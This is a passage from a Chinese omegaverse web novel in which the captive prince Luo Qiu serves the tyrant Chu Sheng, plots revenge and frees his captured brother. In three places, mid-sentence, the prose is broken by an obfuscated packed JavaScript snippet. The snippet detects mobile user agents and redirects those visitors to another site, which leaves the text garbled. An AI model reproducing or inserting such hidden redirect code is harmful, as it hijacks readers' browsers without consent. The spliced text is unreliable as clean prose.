楚勝却道:“不必了,这样的事有一次就会有第二次,外面的那些人,都换掉吧。” 楚勝的命令不会有更改,唐穆只能道:“是。” “另外告诉方宿,艾佃伊帝国的余孽三日内找不到,他这个少将显得有些名不副实了。” “是。” 门外的洛湫:“……” 到底是谁说这暴君温柔的?两句话就要把那些传谣言的都拖出去杀了,方宿的位置也不保,简直是毫无人性! 14. 第 14 章 洛湫进去的时候,唐穆也正好汇报完了工作,准备出来,他和唐穆擦肩而过,迎上了楚勝带着浅淡笑意的目光。 “陛下今日需要我做些什么吗?”听到房门闭合的声响,洛湫开口问道。 楚勝单手支颐,望着他:“贴身助理,自然是要做一些贴身的事。” 洛湫这才注意到,楚勝今日的衣着并不整齐妥帖,只是在丝绸睡衣的外面随意套了一件外套,以便在唐穆汇报的时候没有那么不成体统。 但对于平时穿戴妥帖的帝王来说,这会儿显得有些过于慵懒了。 但是……这人该不会是要自己给他换衣服吧?! 洛湫正想着,楚勝已经从椅子上起身,朝着床榻里间走去,轻薄的睡裤勾勒出对方修长笔直的腿型,健硕的长腿随着他的步伐在衣料下若隐若现。 “你以后要做的便是伺候吾更衣、洗浴、按摩、一日三餐,吾去哪里,你便等着吾去哪里,吾让你走你才可以离开。”见洛湫迟迟没有动作,里间传来帝王低沉的命令。 洛湫:“……” 一个随叫随到二十四小时随时待命的贴身助理,他干脆搬过来和这暴君住在一起随时等候召唤算了。 洛湫抿了抿唇,慢慢悠悠地踱进里间,外套被楚勝搭在了一旁,对方正倚坐在床沿,抬眸看着他。 洛湫犹豫了一下,问:“我,我给你脱吗?” 他看着楚勝身上的丝绸缎面的睡衣,顺滑的布料带着垂坠感贴在对方的身上,将那宽肩窄腰勾勒得淋漓尽致,这会儿楚勝已经摘了手套放到了一边,洛湫忽的瞥见,那褪去手套的手腕上似乎有一道浅淡的伤痕。 他想了想,或许可以借此机会证实一下,楚勝究竟有没有受伤。 洛湫这边已经做好了决定,正准备靠近楚勝,楚勝先轻笑一声,回答了他:“如果什么都让吾自己做,你的职位似乎也没有存在的必要。” 洛湫一时间竟然觉得这暴君说的有点道理…… 但不多。 他走到暴君面前,伸手替对方解开丝绸睡衣的珍珠纽扣,随着衣襟渐敞,精壮结实的躯体逐渐展露在他眼前。 紧实的肌肉与流畅的曲线完美融合,身上的每一寸肌肉都不夸张,恰到好处。 洛湫看了一眼,耳尖便泛起了红,连忙绕到对方身后,迅速替楚勝脱了衬衫睡衣,那线条分明的背肌上,蝴蝶骨振翅欲飞让他有一瞬间的慌神,与花房里楚异肖似的身形重叠又分离,不过也不知道是不是气质问题,楚异那副身体更显清癯,相比之下,这暴君的身体更为健壮。 也或许是楚异长时间被困在水池里的原因吧。 洛湫没继续深想,拿了旁边要给楚勝换上的衣服,状似不经意地瞥了一眼楚勝的手腕,那腕上果然是一整圈的痕迹,与电击环极为相似。 他顿时冷了脸,耳尖的热意都在顷刻间烟消云散,他一手攥着楚勝的衣服,一手握住了对方的手腕:“你的手上为什么有电击环的伤痕?” 楚勝没有去看自己的手腕,而是瞥了一眼洛湫,白猫的神色变得冷冽,那温顺的模样被替代,原来对方只是为了确认他的伤痕才毫不犹豫地给他宽衣解带。 楚勝却在洛湫那双审视的眼瞳下点了头,反问道:“很奇怪吗?” 洛湫立刻皱起了眉头,楚勝不像是说谎的模样,如此言之凿凿,反倒让他不自信了起来,可他仍旧坚持:“你可是陛下,谁能给你戴上电击环,还伤了你?” 楚勝却是转身将洛湫逼得退了一步,跌坐在了床上,他如同一座大山将洛湫笼罩,侵略性的气息洒满整个房间,他不答反问:“你对吾很是关心?” 洛湫松开了楚勝的手,抿唇道:“我……我爱慕陛下,自然对陛下很关心了。” 头顶却传来一声轻笑:“哦?吾还以为你是在从吾的身上寻找什么。” 洛湫心底一惊,随即掩饰道:“我能找什么呢?” 楚勝笑了笑:“方才你握着吾的手,那般信誓旦旦的模样,像是抓到了吾的什么把柄。” 洛湫垂眸,移开了目光:“我……我是担心陛下。” 楚勝闻言,低笑震得胸腔共鸣:“既然担心吾,上药的事便也交给你了。” 洛湫没问到想问的,反而又加了活,认命道:“是。” 他似乎忘了自己要做什么,手里甚至还攥着楚勝的衣服,这会儿坐在床上一动不动,僵了好半天,楚勝这才戏谑提醒他:“再发呆你或许还要为吾医治感冒了。” 洛湫猛的抬头,视线撞上了楚勝的胸肌,他与楚勝之间的距离只有半臂,虽然还没到会贴上的程度,但这么近的距离足够他闻到对方身上的信息素了,楚勝没有刻意释放信息素,那浅淡的海水气息只是在他周围萦绕着,没有对他产生更多影响。 还好,他腺体还没恢复,不然这会儿他就要被扔到审讯室去了。 洛湫连忙站起来替楚勝穿好衣服,好一番折腾,那诱人的身躯才被衣服尽数遮挡。 他正要离开里间,楚勝却指示意他一边桌上的一个盒子:“把它拿过来。” 洛湫走了过去,才发现那盒子里放着的,是一个银制圆环。 他心头顿时升起一阵疑惑,这分明是电击环的形制,楚勝要这个做什么?还放在卧室里。 他有些疑惑地拿了起来,问:“陛下?” 却见楚勝朝他伸出了另一只没有被电击环电击过的手:“替吾戴上。” 洛湫走了过去,但没有立刻动作,而是问他:“陛下为什么要戴电击环?” 楚勝噙着笑,从洛湫手里接过了手环:“和电击环很像,但它叫做抑制环,用来抑制alpha易感期信息素暴乱的。” 楚勝兀自戴上抑制环扣上锁扣,那熟稔的动作像是戴过千百次,却像是贵族优雅地戴着名贵手表。 “陛下,我来给您上药。”门外,齐钧的通报适时响起。 楚勝正好信步走到外间:“进。” 齐钧提着他的医疗箱,刚走进门就发现不对,陛下这衣服穿的……怎么有些皱巴? 他视线一转,果然在一边看到了那只白猫Omega,眼底闪过了然。 方宿少将说的,果然是真的。 他暗自笑了笑,提着医疗箱正要往楚勝那走,忽然瞥见自家陛下还没戴手套,那双骨节分明的手撑在桌上,齐钧已经很久没有看见过那双未戴隔绝手套的手搭在桌子上了。 他脸色一变,顿时停住了脚步,甚至往后退了退,与楚勝拉远了距离。 随后似想到什么,齐钧的目光又落在了洛湫身上,对方却一脸疑惑地望着他。 还没等他说什么,楚勝瞥着齐钧这副如临大敌的模样,不以为然道:“箱子放下,出去吧。” “嘶。”齐钧轻轻抽了抽气,楚勝这话反倒证实了他的猜测。 能抵抗剧毒体质的Omega,闻所未闻…… 齐钧没有多留,只是向洛湫投去了一个好奇又欣慰的目光,随后出了门。 洛湫看着那只被留下的孤零零的医疗箱,总觉得自己和那箱子同病相怜。 “你好像很怕吾?”一旁又传来楚勝施施然的声音,洛湫连忙提着医疗箱走到楚勝旁边。 他看不懂刚才齐钧那眼神究竟是什么意思,同情他吗? “我……我是怕陛下再把我丢到审讯室去。”洛湫低着头,打开医疗箱,里面的药品种类很多,倒是让他犯了难。 楚勝看着Omega低头蹙眉的模样,抬手在小猫的那一头银白蓬松的毛发上揉了揉:“只要你不做什么对不起吾的事,吾不会随便将你丢进审讯室的。” 洛湫愣了愣,他生生克制住了自己甩开楚勝手的冲动。 这暴君竟然真把他当宠物了! 洛湫咬了咬牙,不生气,不生气,卧薪尝胆是每个复仇者的必经之事。 他深吸了一口气,问楚勝:“陛下,这里哪个是治电击环的伤药?” 楚勝从医疗箱里挑出两瓶药,一瓶蓝色一瓶红色,耐心解释给他听:“蓝色的是电击环的药,红色的是抑制环的药,别弄错了。” “哦。”洛湫点了点头,将红色的药瓶打开,倒在棉布上,接着狠狠按在了楚勝的手腕上。 楚勝眉心一跳, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180919|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转头对上洛湫无辜的眼神,不由得失笑:“吾的手明日怕是要废了。” 洛湫的脸上带着歉意,眼底却没有一丝抱歉的意思:“我不是齐博士,下手不太知道轻重,不如陛下把齐博士叫回来吧。” 楚勝将洛湫的神色尽收眼底,含笑道:“无妨,吾的手废了就用你的爪子赔。” 洛湫立刻松了手上的力道。 这暴君虽然脸上笑眯眯的,转头可是真会剁他手的。 他替楚勝揉了会儿手腕,合上医疗箱转身的同时,将蓝色的药瓶放进了自己的口袋。 虽然楚异也是他的仇敌,但他却没有理所当然接受仇敌示好的打算,他和楚异之间,还是两清比较好。 那人治愈他的腺体,他帮对方治一治电击环的伤,日后动手就不必在意情面了。 “我去把医疗箱还给齐博士吧。”洛湫提着箱子就要跑。 楚勝将白猫的心思尽收眼底:“不急。” 洛湫的脚步生生停在了原地,他回头对上暴君含笑的眸光,问:“陛下还有什么吩咐吗?” 楚勝朝他伸出了手,灯光打在那只手上,好似将皮肤直接穿透了一般:“你忘了吾的手套。” 洛湫想起了那双黑色的皮质手套,他转去里间拿了出来,一边问:“陛下为什么要戴手套?” 把自己全身上下都遮得严严实实,连手都不放过,看上去清冷禁欲,谁知道究竟是什么见不得人的秘密。 楚勝由着洛湫握住了他的手,一边好似给他套着手套,一边趁机摸他的手探着,他笑着望着洛湫,感受着掌心那份温热。 洛湫的手比他的小一些,但手指细长,十分好看,那只雪白的手交叠在他的手上,让人忍不住想拢入掌心:“在摸什么?” 楚勝低沉的声音从洛湫的耳边传来,惊得他一个激灵,连忙迅速地给对方戴上手套:“没什么,穿好了。” 楚勝看着慌忙转身的洛湫,忍不住道:“躲什么?吾还以为你很喜欢吾的手。” 洛湫:“???” 谁要喜欢暴君的手啊!他是有什么特殊癖好吗?!这暴君真够自恋的。 但他回头冲着楚勝说的却是:“我喜欢陛下……的全部。” 许是这句话愉悦到了那暴君,楚勝没有再为难他:“送完箱子,早去早回。” 这话说的,好似有多离不开他似的,但洛湫知道,那暴君就是拿他在枯燥无聊的公务处理之余逗弄一番罢了。 洛湫将医疗箱送到齐钧手里的时候,齐钧用着一种心照不宣的表情看着他,洛湫几乎能猜到对方在想什么,他下意识想要解释和反驳,但是又想到这谣言不正是他想要的吗? 他用爱慕陛下的借口留在皇宫,所有人都觉得他喜欢暴君,暴君也对他宠爱有加,那岂不是更方便他在皇宫行事? 这么一想,洛湫便放弃了解释,那暴君自己都不处理,凭什么要他一个“喜欢陛下”的人来澄清? 顶着齐钧那灼灼的目光,回去继续“上班”。 在又一次替暴君暖床之后,洛湫回了自己的卧室,一天的时间过去了,但唐穆并没有来汇报有关他艾佃伊帝国余孽的消息,说明方宿还没找到他哥哥。 他只能一边祈祷有关余孽的消息只是方宿的错误判断,一边思考怎么样在暴君收到消息并动手之前先一步拦截消息。 他也不知道想了多久,忽然觉得背后一凉,猛的回头就看见一张俊美的脸在他眼前放大。 洛湫一惊,顿时同对方拉开了距离:“陛下……” 对方顿时皱起了眉头,同时洛湫也发现了眼前凭空出现在他房间里的人,并不是暴君楚勝,而是楚异。 唇边那抹温和的笑容,与暴君戏谑的模样太过不同,只是他方才走神,白日里又见多了楚勝,一时恍惚。 “是我吓到你了吗?”楚异坐在他的床上,温柔地开口。 洛湫的心跳确实加快了一瞬,毕竟刚刚他在想一些不好的事情。 “你怎么又跑出来了?” 楚异望着他,轻轻叹息道:“好几天没见到你了,我……的信息素很想你。” 15.第 15 章 楚异不提其实还好,洛湫这几日被转移了注意力,没怎么在意自己腺体的问题,现在被对方提起来,他才想起标记会使两人产生依赖,哪怕只是临时标记对于百分百的高匹配率双方而言,都是一种依赖。 洛湫捂住自己的腺体,往后退了退,仿佛眼前的人是什么洪水猛兽:“我腺体还没好呢,而且……我现在已经和陛下相处的很好了,要是再被你标记,会被发现的,你……你找别人吧。” 楚勝微愣,他看着白猫警惕的模样,似乎真把他当成那种管不住信息素标记的变态了。 他笑了一声,轻声道:“你的腺体确实还没好全,需要我帮你治好它吗?” 随即他又道:“哦,不过有我哥哥在,想必他应该能更快治好你的腺体吧,你也就不需要我了。” 洛湫:“……” 虽然他承认楚异确实帮了他,但是……但是…… 洛湫抿了抿唇,从口袋里拿出那瓶蓝色的药递给对方:“这个药可以治电击环的伤。” 楚勝异望着他,眸光柔和:“特地给我的吗?” 洛湫红了耳尖,将药瓶塞进楚异手里:“你之前帮了我,我不喜欢欠别人人情,这是还你的。” 楚勝摩挲了一下手里的药瓶,轻笑着道:“你的道谢,我收下了。” 洛湫立刻道:“我才不是和你道谢!” 你们华利亚帝国欠我的,可不是这小小的施舍就能抵过的。 “我们两清了。” 闻言,楚勝的笑容微微一僵,他捏着手里的药瓶,轻轻叹息:“所以,他们说的是真的。” 洛湫抬眸:“谁?说什么?” 楚勝:“皇宫外围突然调来了一批士兵,说送进宫的白猫Omega被陛下看上了,和陛下在桌子下做一些……嗯,他们因此被调到了外面。” 洛湫:“……” 原来那些士兵并没有被处死,他还以为那暴君的意思是把这些传谣言的都灭口。 “他标记你了吗?”楚勝忽的问。 洛湫瞥了他一眼,没好气道:“我腺体都没好,哪来的标记?” 楚勝的目光落在他的脖颈上:“那你为什么不让我帮你?” 洛湫看着他,反问:“那你为什么要帮我?” 楚勝想了想,道:“我的信息素需要你,或许可以用这个换你的一点安抚信息素?” 洛湫的脸色并不算太好:“如果我说,我不想呢? 楚勝垂了垂眼眸,问:“你不想早点恢复腺体,好让我哥标记你吗?” “我不想。”洛湫没有一点儿犹豫道。 楚勝眸光一动:“你不是说你喜欢我哥吗?为什么又不想让他标记你?” “……”洛湫突然觉得,谣言也没有那么好,“陛下……他有点凶猛,我害怕。” 楚勝:“……” “那你还是喜欢他?” 洛湫总觉得楚异今晚的话很多,絮絮叨叨的,问的还全是和暴君有关的,按理来说应该是他从楚异嘴里套点和暴君有关的信息才对,可这会儿他完全跳跃不了话题,被对方一个接一个的问题砸晕。 “对,我就喜欢凶猛的。”洛湫一点也不走心道。 楚勝蓝色的眸光似有什么翻涌,他将手里的药瓶重新递给洛湫:“那让你帮我上药,不过分吧?” 洛湫抿唇道:“你出来不会被发现吗?” 言下之意已然开始赶人了。 楚勝笑了笑,收回了那药瓶:“有时候还挺羡慕我哥哥的,如果我才是华利亚帝国的王,你是不是也会喜欢我呢?” 洛湫:“!!!” 不对劲,楚异今晚,很不对劲。 “你这是什么意思?”洛湫直直地望着对方。 楚勝仍旧笑着,没有正面回答:“临时标记不会因为Omega的腺体受伤而影响alpha,洛湫,没有哪个alpha会希望听到自己的Omega说喜欢别人的。” 洛湫皱了皱眉头:“我不是你的Omega,临时标记也只是一场意外,我终究是你哥哥的Omega,不管是目前名义上的,还是以后……” 楚勝沉默了一会儿,问:“你说要和我两清,也是因为这个?” 洛湫点头。 楚勝看着他,又问:“那我身上的毒呢?你给我下了毒,却不给我彻底解了,现在就和我两清,怎么清?” 洛湫:“……” 突然有点理亏的洛湫收回了目光,不敢再和楚异对视:“解药……我暂时还不能给你。” 楚勝的心情似乎又好了,朝着洛湫递药:“那就麻烦你帮我上个药。” 洛湫复杂地看了楚异一眼,这才接过了药瓶,他看着楚异的手,那电击环牢牢扣在这人的手腕上,却也不难看到电击环底下的伤痕,那溢出的痕迹带着皮肤烧焦的伤,看上去触目惊心。 洛湫抓住他的手,问:“怎么会这样?你不是亲王吗?他们怎么敢这样对你?” 楚勝淡淡道:“没什么的。” 洛湫沉吟片刻,打开了药瓶,用棉签沾了药涂在楚异的手腕上:“你的电击环不取下来里面根本涂不到药。” “没关系,”楚勝十分好脾气道,“你能帮我上药我就已经很满足了。” 洛湫看了他一眼,外面都伤成这样,里面一定更严重,可这人却像感觉不到似的,这样的疼痛放在任何一个人身上都笑不出来,而楚异…… “你恨你哥吗?”洛湫终于还是问出了这句话。 这话好似一下将楚异给问到了,他沉默了许久,最终才缓缓扯了扯嘴角:“也许,是恨的吧。” 洛湫却道:“你一定恨他。” 楚勝轻轻扬眉,眼中闪过一丝诧异,他望着洛湫,颇为好奇地问:“为什么这么说?” 洛湫揉着楚异的手腕,道:“你把他当哥哥,他却把你囚禁在那个冰冷的花房里,还给你带着电击环,任由这些东西羞辱你,伤害你,你怎么能不恨他呢?” 楚勝从洛湫的眼瞳中望见倒映出自己的模样,轻笑着道:“是啊,我应该是恨他的。” 大概是察觉到对方失落的情绪,洛湫一时间不知如何安慰对方,刚将手里的药瓶放下,水母触手瞬间缠在了他的四肢上。 洛湫一惊:“你……!” 他话还没说完,另一条触手伸进了他的口腔,将他的惊呼堵了回去,他被触手拉到了楚异的怀里,柔软的唇又一次贴上了他的腺体。 还没有彻底恢复的腺体加上破坏剂的作用下更为敏感,洛湫整个人抖了一下,刚要发出声音,又被嘴里的触手钻了空子,往他喉咙横深处钻去。 一时间,洛湫的眼底蓄起了水雾,他听见楚异在他身后道:“别叫,我帮你把腺体治好。” 海洋信息素缠绕着他,安抚着他,让洛湫整个人都很舒服,甚至沉溺其中。 楚异确实没有做别的,但满屋子海洋的气息让洛湫有一瞬间以为他们做了别的,浓郁到让他觉得满足。 但他还是气道:“我不是说了不需要吗?!” 不止是海洋信息素将整个空间占据,还有洛湫雪一样的信息素也因为腺体的愈合,缓缓渗了出来,将整个空间挤满。 自然的清新将整个屋子填充,明明应该格外清爽,却觉得空气里多了一丝甜味,旖旎又缱绻,两种信息素互相纠缠着。 楚勝轻轻揉了揉洛湫的腺体,低语:“你想和我两清,可是我不想,我就想你欠着我。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188916|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 洛湫的腺体没有彻底愈合,对方的指腹按在柔软的腺体上,他却敏感到想要将腺体整个递上去,让对方用力按下去。 反应过来自己在想什么,洛湫立刻蹙起了眉头,他正要开口,却被对方打断。 楚勝收回了手,看着即将愈合的腺体,松开了怀里亮着爪子的白猫:“我该回去了,如果你有什么需要,欢迎随时来找我。” “我不会吝啬对你释放安抚信息素的。” 洛湫:“……” 洛湫一晚上没睡好,他的腺体只剩下一点点伤痕,被楚异治愈后,迅速恢复到光滑平整的模样,他摸了摸自己的腺体,翻来覆去。 他不应该和楚异纠缠,就算有纠葛,也应该是他利用对方,而不是被信息素捆绑。 他该和楚异做个了结,不管是谁,都不能成为他复仇的阻碍。 一瞬间,洛湫便想到了唐穆,当务之急是得先确认他们口中的“余孽”究竟是不是他哥哥,如果是,他得保证自己的哥哥安全离开。 唐穆为人正直,对那暴君忠心耿耿,也拿不到什么把柄,他如何从对方口中套出这种重要的事呢? 第二日一早,洛湫便去暴君的卧室蹲守,只要唐穆不汇报,他就还有机会。 他去的太早,甚至楚勝还未起床,洛湫站在门口等着,却看见了方宿。 方宿一般不会进宫,若是进宫,必定有什么重要的事要跟楚勝汇报。 洛湫顿时眯起了眼睛,他快速接近方宿,在那人身后问:“方宿少将怎么进宫了?” 方宿回头看见他,笑了笑,知道对方是陛下的Omega,言语倒是恭敬了起来:“我有重要的事要跟陛下汇报。” 洛湫垂了垂眼眸:“陛下还没起。” 方宿点头:“我知道,我先去找唐穆上将。” 洛湫不动声色地跟他走:“我听陛下说,他给了你三日时间找艾佃伊帝国余孽,这才第二日,少将居然这么快就找到了,也太厉害了。” 方宿被夸得不好意思,连忙摆了摆手:“没有没有,那余孽好像不知道为什么,有点自投罗网的意思,我正要去和唐穆上将汇报,看看他有什么想法呢。” 洛湫眸光一闪:“我听说艾佃伊帝国的皇室是白猫一族,他们也和我一样是半分化的模样吗。” 方宿摇了摇头:“那倒不是,你是法尔研究院研制的,世界上只有一只半分化的白猫。” 洛湫眼底沉了下来,他每一句话都在试探方宿,方宿全都没有否认,说明对方确实抓了艾佃伊帝国的余孽,并且那人就是艾佃伊的皇室。 十有八/九就是他哥哥! “那人关在哪里了?我还没见过除我以外的白猫Omega呢。”洛湫状似好似地问。 方宿对他倒是并不起疑:“押在宫门口等陛下发落。” 洛湫攥了攥拳,这么短的时间内,他要如何引开方宿,赶在暴君收到消息之前救他哥哥? “那个……” 洛湫正思索着,身侧的方宿小心地开口:“你是不是忘了腺体贴?” 洛湫下意识抬手摸了摸自己的腺体,他这几天腺体受了伤,不能贴腺体贴,昨晚楚异帮他治好,导致他给忘了。 看着洛湫有些尴尬,方宿连忙道:“我没有别的意思,你的信息素很好闻,不过最好还是快回去处理一下,不然我怕我扛不住,耽误汇报了。” 陛下竟然没有标记这只小白猫啊…… 没有标记的Omega泄露信息素会引起其他alpha的易感期,如果已经被标记了,只有那个标记的alpha才能感受到。 洛湫在一瞬间脑海里闪过一个办法,他看了一眼方宿,信息素被他毫无保留地释放了出来。 16.第 16 章 “抱歉,我这几天腺体受了伤,所以没有了贴腺体贴的习惯。”洛湫的话虽然满是歉意,信息素却在对方不知情的情况下,大量外泄着。 初雪的清冷在一刹那好似越过四季随风扑来。 方宿在一瞬间晃了神,但还是抓住了一丝理智,手死死撑在假山后面:“你……要不赶紧解决一下,不行,我得离开了,再这样下去,我会犯错的。” 洛湫不经意地挡在方宿前面,却将更浓郁的信息素引向了眼前这个克制的alpha:“我明白的,你还有重要的事,是我不该耽误你才对,我这就走……” 洛湫最后一个字还没说完,方宿的理智已经被空气中清新的信息素蚕食,他攥住了洛湫的手腕,将人拉近,眼瞳有些迷离:“你的信息素是我闻过的,最好闻的。” alpha的体温逐渐升高,呼吸也变得粗重了起来,洛湫看着方宿渐渐朝他靠近,被信息素彻底占据理智。 洛湫有一瞬间的心软,随即被眼底的坚定挥散,方宿不是一个十恶不赦的人,但可惜,他是华利亚帝国的将士,也是他的仇敌。 他不再犹豫,当即高声呼唤起来:“不,方宿少将,请您理智一点,有人吗?来人救救我!” 这里的动静很快引来的周围巡查的士兵,但这些alpha士兵也被空气中洛湫的s级信息素引的进去易感期。 洛湫一边捂着自己的腺体,一边对士兵道:“腺体贴,给我一个腺体贴可以吗?” 但是周围的士兵没能理会他,易感期的alpha拼命朝着未被标记的Omega释放信息素。 洛湫冷着双眸,敲晕了离他最近的方宿,趁着周围的人变多,贴上了腺体贴,留下空气中尚未散去的信息素,抽身离开。 他以最快的速度掠向皇宫大门口。 一队人身着华利亚帝国军装,正等在皇宫门口,这些人洛湫都没有见过,他们未经允许不能擅自进入皇宫,长期在都城巡防,而这些人的最前面,一道纤瘦的人影笔直站着,虽然对方的衣服显得破旧不堪,半截手臂露在外面,还有不少伤痕,脸上也多是擦伤,头发略显凌乱,但那份贵族的气质让他站立在人前,不显丝毫狼狈。 哥哥…… 洛湫看见那人,眼眶一红。 江浔的手上和脚踝都戴着电击环,他站在皇宫门口,眸光却扫视着,似乎在寻找什么东西,不知是感觉到了什么,突然朝着一个方向望了过去,看到那张熟悉的面容,眼中似点了星辰亮了起来。 洛湫鼻尖一酸,却伸手放在自己的唇上,示意江浔不要出声,对方也朝他轻轻点了一下头。 洛湫见时机差不多,冲了出去,朝着门口那些守卫道:“方宿上将好像出事了,快,快去看看吧。” 门口的守卫一听,面色着急,但也不敢擅自离开:“这……没有唐穆上将的命令,我们不能离开。” 洛湫着急道:“就是唐穆上将让我来的,好些alpha都出事了,那边人手不够了,快去吧。” “不行……” 另一个士兵却道:“你不知道他是谁吗?他是陛下的Omega,上次还是唐穆上将亲自把人领进去的呢。” “哦……可是我们还是不能随意离开啊。” “快来帮忙啊!方宿少将出事了!”不远处有士兵在喊,另一个才对着外面押送的士兵道,“你们,去几个人吧。” “是!” 押送的人顿时少了一半,洛湫和江浔对视了一下,两人瞬间行动,一个起跳,身影只余残影,电光火石之间,猫尾缠住一个人的脖子,又转头扑向另一个,将剩余的士兵全部打晕了过去。 洛湫拉住江浔的手,朝着皇宫外掠去。 “你以前……都不会这些的。”江浔突然开口,喉间满是涩意。 洛湫身形一顿,将人带到一个隐蔽的地方,甩开了后面大声喊着“有人劫囚”的追兵。 “哥。”洛湫看着满身伤痕的江浔,神色复杂,鼻尖的酸楚终于忍不住冲了上来。 江浔什么也没说,只是和洛湫紧紧拥抱在了一起。 片刻后,江浔才松开洛湫,宠溺地刮了一下对方的鼻子:“你变了很多,但是能再见到你,真好。” 洛湫弯了弯唇角,笑道:“哥,你怎么会在这儿?” 这似乎是洛湫这么久以来,露出的第一个笑容,有些勉强,但带着欣慰,发自内心的喜悦。 江浔道:“我听说你成了华利亚帝国那个暴君的Omega,所以将计就计想去找你,小湫,你和那个暴君是怎么回事?” 洛湫顿时明白他哥应该是听了方宿传出去的谣言,连忙解释:“没有,我是为了杀他。” 江浔皱起了眉,打量着眼前的洛湫,他的弟弟曾是艾佃伊帝国意气风发的小王子,不仅仅是父王母后宠爱他,整个帝国都很喜欢他,他心疼地望着洛湫,抬手摸了摸对方的耳朵:“你受苦了,这耳朵和尾巴,还没来得及问是怎么回事?” 洛湫摇了摇头:“没事,只是为了见到那个暴君所要付出的一点代价。” 江浔更是心痛到无以复加:“是哥哥没有保护好你,小湫,离开吧,离开这里,去一个没有人认识你的地方,好好活着。” 洛湫在一瞬间明白江浔的意思,拒绝道:“不行,我已经接近暴君了,只需要等到一个合适的时机,我就可以杀了他,我不能走,哥,你走吧。” 江浔叹息一声,温柔地抚摸着洛湫的脸:“你瘦了很多,小湫,你听我说,我的身上戴着电击环,他们很快就会找过来,但是你不一样,你没有戴这些东西,跑得远远的,你背负的太多了,剩下的就交给哥哥吧。” 洛湫忍不住,泪水夺眶而出,他捏着江浔手腕上的电击环,那力道想要将圆环捏碎,可这几乎是不可能的,江浔轻轻拍了拍他:“没用的,别哭了,小湫。” 洛湫哭得更厉害了,他看见了江浔手腕上电击环周围露出来的一圈伤痕,他相信这样的伤痕在江浔的身上一定有很多:“很疼吧,哥……” 江浔笑了笑,替洛湫擦掉眼泪:“不疼,能见到你,这一切都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195005|165269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是值得的,小湫,只要你能活下去,哥哥就不会觉得疼。” 洛湫只是摇着头,泪水如珠串落下。 忽的,江浔整个人一抖,迅速从洛湫手中抽离,脸色也难看了起来。 洛湫脸色一变:“哥,你怎么了?” 其实不用江浔开口,洛湫在对方抽离的一瞬间,感受到了电击环的惩罚,那样超出人类负荷的电流,华利亚帝国的士兵下了狠手,洛湫看着江浔,脸色逐渐冷了下来。 “小,小湫,听哥的话,快点离开,他们很快就会找过来,你现在走还来得及,复仇的事,我会做,答应我,好好活着。”江浔望着洛湫,眼神中带着恳求,他希望洛湫能快点离开这里。 洛湫没动,他知道,他现在救不了江浔,没法带江浔离开,找到一个安全的地方,而他也不可能在这种时候抛弃哥哥独自离开,更何况,他都已经接近暴君了,离他复仇已经……快了。 他不能走。 “抱歉,哥,我不能答应你,我必须要回去,如果我走了,你要面临的太沉重了,这一次,听我的,好吗?我一定会救你的。”洛湫望着江浔,镇定地说着。 “唐穆上将,电击环感应的位置就在那里。”一个士兵带着唐穆以及一队人朝着一条隐蔽的巷子搜了过来。 唐穆的脸色很差,听到门口的士兵说最后看见的人是洛湫,而洛湫跟着那个艾佃伊余孽逃走了,即便知道有电击环在跑不远,但他仍旧皱着眉头,希望是他想多了。 “就是这里了!”士兵停下了步子,指着一个摊子后面。 不等唐穆开口,江浔先钻了出来,唐穆眼底闪过一丝诧异,只见对方手中抵着一把匕首,挟持着洛湫,从遮挡物后面出来:“不许动,否则我杀了他!” 唐穆紧紧盯着两人,见那匕首划破了洛湫的脖颈,他才后退了一步,故意道:“你挟持他有什么用?只不过是一只Omega罢了,供人玩乐的,你以为你跑得了吗?” 江浔抿着唇,脸色微微发白:“可我听说,这可是你们陛下最宠爱的Omega,如果他出了什么事,你也不好向那个暴君交代吧?” “放肆!”唐穆呵道。 江浔嘲讽一笑:“解开电击环,否则我杀了他。” 唐穆思索了一下,道:“好,我给你解开,你放开他。” 江浔道:“你先解开,我才能放开他!” 唐穆无奈道:“你不放开他,我没办法给你解啊。” 江浔犹豫了一下,缓缓松开了洛湫。 仅仅一瞬间,唐穆便按下了电击环的操控按钮,电流瞬间从四肢蔓延,江浔连匕首也握不住,倒在了地上。 洛湫被唐穆护在身后,他盯着地上因为同居扭曲着身形的江浔,握着掌心的指甲嵌进了肉里,他死死咬着唇,不让自己脱口而出那一声“哥哥”。 他父母,他哥哥,所有艾佃伊帝国的苦难,他要华利亚帝国百倍偿还! 眼眶的红潮尚未褪去,唐穆转身看了洛湫一眼,冷冷道:“跟我回去见陛下。” 17.第 17 章 卧室里安静得落针可闻,洛湫看着一旁站着的方宿,对方的理智回笼,双眸清亮,俨然是打了抑制剂没在易感期了。 洛湫见此情景,便知对方已经将事情一五一十告诉楚勝了。 